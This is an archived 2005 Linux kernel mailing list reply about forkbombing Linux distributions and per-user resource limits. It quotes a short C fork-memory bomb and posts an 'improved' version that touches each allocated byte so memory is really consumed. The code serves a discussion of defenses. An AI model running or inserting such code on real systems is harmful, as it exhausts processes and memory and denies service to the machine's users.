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From: folkert@vanheusden.com
To: 20050323135317.GA22959@roonstrasse.net
Cc: linux-kernel@vger.kernel.org
Subject: Re: forkbombing Linux distributions
Date: Mon, 28 Mar 2005 19:56:15 +0200	[thread overview]
Message-ID: <20050328175614.GG943@vanheusden.com> (raw)
In-Reply-To: <20050328172820.GA31571@linux.ensimag.fr>

> > The memory limits aren't good enough either: if you set them low
> > enough that memory-forkbombs are unperilous for
> > RLIMIT_NPROC*RLIMIT_DATA, it's probably too low for serious
> > applications.
> yes, if you want to run application like openoffice.org you need at
> least 200Mo. If you want that your system is usable, you need at least 40 process per user. So 40*200 = 8Go, and it don't think you have all this memory...
> I think per user limit could be a solution.
> attached a small fork-memory bombing.
> Matthieu
> int main()
> {
> 	while(1){
> 		while(fork()){
> 			malloc(1);
> 		}
> 	}
> }

Imporved version:

int main()
{
	while(1) {
		while(fork()) {
			char *dummy = (char *)malloc(1);
			*dummy = 1;
		}
	}
}


Folkert van Heusden

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  reply	other threads:[~2005-03-28 18:02 UTC|newest]

Thread overview: 52+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2005-03-28 17:28 forkbombing Linux distributions Matthieu Castet
2005-03-28 17:56 ` folkert [this message]
2005-03-28 19:33   ` Jan Engelhardt
2005-03-28 19:39     ` folkert
2005-03-28 20:35       ` Renate Meijer
2005-03-28 20:44         ` [BORED] " Willy Tarreau
2005-03-29 12:31 ` Natanael Copa
2005-03-30 23:46 ` Felipe Alfaro Solana
2005-03-31  6:55   ` Natanael Copa
2005-03-31  7:09     ` Jacek Łuczak
  -- strict thread matches above, loose matches on Subject: below --
2005-03-30 17:40 Jacek Łuczak
2005-03-31 10:00 ` Natanael Copa
2005-03-31 17:11   ` Lee Revell
2005-04-05  9:47     ` Natanael Copa
2005-04-05 10:18       ` Jacek Luczak
2005-03-22 17:09 Natanael Copa
2005-03-21  3:06 William Beebe
2005-03-21  3:22 ` Dave Jones
2005-03-21  3:26   ` William Beebe
2005-03-21  3:27 ` Peter Chubb
2005-03-21  5:14   ` Grant Coady
2005-03-21  7:41     ` Jan Engelhardt
2005-03-22 11:26 ` Hikaru1
2005-03-22 11:49   ` Jan Engelhardt
     [not found]     ` <20050322124812.GB18256@roll>
2005-03-22 12:50       ` Hikaru1
2005-03-23 10:56         ` aq
2005-03-23 12:37           ` Natanael Copa
2005-03-23 13:04             ` aq
2005-03-23 13:38               ` Jan Engelhardt
2005-03-23 13:54               ` Natanael Copa
2005-03-23 14:20                 ` Måns Rullgård
2005-03-23 14:43                 ` Jan Engelhardt
2005-03-23 15:04                   ` Natanael Copa
2005-03-24  7:07                     ` Jan Engelhardt
2005-03-24 10:05                       ` Natanael Copa
2005-03-23 19:38                   ` Kyle Moffett
2005-03-23 20:26                     ` Natanael Copa
2005-03-23 17:05                 ` aq
2005-03-23 18:05                   ` Paul Jackson
2005-03-23 18:44                     ` aq
2005-03-23 20:15                       ` Natanael Copa
2005-03-23 20:48                   ` Natanael Copa
2005-03-23 13:45             ` Erik Mouw
2005-03-23 14:03               ` Natanael Copa
2005-03-23 13:53     ` Max Kellermann
2005-03-23 14:23       ` Natanael Copa
2005-03-23 14:27         ` Max Kellermann
2005-03-23 14:44           ` Natanael Copa
2005-03-23 14:52             ` Max Kellermann
2005-03-23 15:18               ` Natanael Copa
2005-03-26 10:37 ` Tux
2005-03-28  8:03   ` Natanael Copa

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